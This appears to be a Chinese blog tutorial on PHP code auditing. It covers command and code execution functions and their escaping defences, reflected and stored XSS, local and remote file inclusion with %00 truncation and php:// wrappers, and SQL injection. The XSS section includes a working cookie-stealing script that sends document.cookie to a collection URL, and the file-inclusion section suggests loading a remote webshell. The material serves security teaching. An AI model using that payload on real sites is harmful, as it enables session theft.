PHP代碼審計---基礎學習(一)

0x00、超全局變量
超全局變量—全局變量是所有做用域中始終可用內置變量
在PHP中經常使用的可由用戶操做的全局變量列表以下:
$GLOBALS - 引用全局做用域中可用的所有變量
$_SERVER - 服務器和執行環境信息(有些變量是能夠覆蓋的)
$_GET - HTTP GET變量
$_POST - HTTP POST變量
$_FILES - HTTP 文件上傳變量
$_REQUEST - HTTP request變量,能夠獲取GET、POST、COOKIE等傳參
$SERSION - Sesion變量
$_ENV - 環境變量(有些變量是能夠覆蓋的)
$_COOKIE - HTTP 獲取Cookies值
 
 
0x0一、代碼審計命令注入
注意:平臺不同的話注入也會不同。
PHP執行系統命令可使用一下函數:
system、exec 、passthru、``(反引號)、shell_exec、popen、proc_open、pcntl_exec
 
string system(string $command [,int &$retuen_var])
exec
passthru(實際上和system是同樣的)
shell_exec
``和上面的效果是同樣的
popen,若是輸出空白就表示不能執行
proc_open:在win下不能使用因此試驗不了,也能夠去了解一下
 
pcntl_exec:是linnux下的一個擴展,因此無法試驗
 
 
防護函數:
當用戶提供的數據傳入此函數,使用escapeshellarg()或escapeshellcmd()來確保用戶欺騙系統從而執行任意命令。(通常都會用在shell裏面)
 
escapeshellarg(string $arg)
能夠用到php的安全中,會過濾arg中存在的一些特殊字符。在輸入的參數中若是包含文件傳遞給escapeshellarg,會被過濾掉。
 
escapeshellcmd()函數會轉義命令中全部shell元字符來完成工做。這些院子度包括:#&;·,|*?~<>^( ) { } [ ]$ \\。
 
0x0二、PHP代碼審計代碼注入
在PHP裏面有一些函數將輸入的字符串參數看成PHP程序代碼來執行。
 
1、常見代碼執行函數
eval、assert、preg_replace
 
eval:任意代碼執行
assert:功能和eval差很少,也能夠輸出phpinfo()
preg_replace:正則代碼注入
 
第一種:當pattern中存在/e模式修飾符,既容許執行代碼。
 
第二種:注意哪兩個要同樣才能執行,沒有/e也不行。
第三種:
 
 
 
0x0三、XSS反射型漏洞
XSS漏洞有三種分別是:反射型,存儲型,DOM型
 
1、反射型XSS漏洞:他經過給別人發送帶有惡意腳本代碼參數的URL,當點擊URL時,特有的惡意代碼參數被HTML解析、執行。特色是非持久性的,必須用戶點擊才能觸發。
 
一、利用:能夠用XSS平臺打別人cookie,也能夠用打到本身的服務器裏面利用代碼以下:
<script>var i=new Image;i.src="http://127.0.0.1/xss.php?c="%2bdocment.cookie;</script>
 
二、變量直接輸出
$_SERVER[PHP_SELF]:會獲取URL裏面的內容(就是獲取/test.php/<script>alert('xss')</script>)
三、$_SERVER['HTTP_USER_AGENT']:獲取瀏覽器參數
User-Agent
 
四、$SERVER['HTTP_REFERER']:來路,和上面同樣換成Referer就好了
 
五、$_SERVER['REQUEST_URI']:獲取數據
他會進行編碼,因此URL要解碼才能形成xss漏洞
 
 
 
0x0四、代碼審計存儲型XSS
存儲型XSS:持久化,代碼是存儲在服務器中的,若是沒有過濾過過濾不嚴,那麼這些代碼將存儲到服務器中,用戶訪問該頁面的時候就會觸發。這種xss危害型比較大,容易形成蠕蟲,盜竊cookie等。
 
審計SQL語句
主要是updata insert 更新和插入語句
內容輸入輸出沒有被過濾或過濾不嚴
 
防護函數htmlspecialchars:對輸入的字符進行實體編碼
 
 
 
0x0五、本地文件包含和遠程文件包含
本地文件包含LFI 遠程文件包含 RFI
include:使用include引用外部文件時,只有代碼執行到include代碼段時,調用的外部文件纔會被引用並讀取,當引用的文件發生錯誤時,系統只會給出個警告錯誤,而整個php文件會繼續執行。
require:在php文件被執行以前,php解析器會用被引用的文件的所有內容替換require語句,而後與require語句以外的其餘語句組成個新的php文件,最好後按新的php文件執行程序代碼。
使用include_once會在導入文件前先檢測該文件是否在該頁面的其餘部分被應用過,若是有,則不會重複引用該文件,程序只能引用一次。(要導入的文件中存在一些自定義函數,那麼若是在同一個程序中重複導入這個文件,在第二次導入時便會發生錯誤,由於php不容許相同名稱的函數被重複聲明)
require_once語句是require語句的延伸,他的功能與require語句基本一致,不一樣的是,在應用require_once時,先會檢查要引用的文件是否是已將在該程序中的其餘地方被引用過,若是有,則不會在重複調用該文件。(同時使用require_once語句在同一頁面中引用了兩個不一樣的文件,那麼在輸出時,只有第一個文件被執行,第二個引用的文件則不會被執行)
 
本地包含:受gpc影響、截斷%00
 
 
 
他是以這個命名的因此包含不了(123.txt.php),因此要%00截斷
應該是能夠的但不知道爲何
 
 
 
遠程文件包含(須要allow_url_fopen和allow_url_include = On)
allow_url_fopen是默認開啓的
allow_url_include = On默認沒有開啓的,須要在php.ini找到並修改
利用:直接外連一個馬就好了
 
僞協議:
php://input (條件在allow_url_include = on 且 PHP >=5.2.0這個不必定)
 
 
 
(讀本地文件的,這個不須要開啓allow_url_include = on也行)
 
 
0x06 PHP代碼審計SQL注入
SQL注入攻擊指的是經過構建特殊的輸入做爲傳參傳入web應用程序,而這些輸入大都是SQL語法裏的一些組合,經過執行SQL 語句進而執行攻擊者所要操做,其主要緣由是程序沒有細緻地過濾用戶輸入的數據,導致非法數據入侵系統。
 
審計語句:
INSERT、DELETE、UPDATE、SELECT(增刪改查)
相關文章
相關標籤/搜索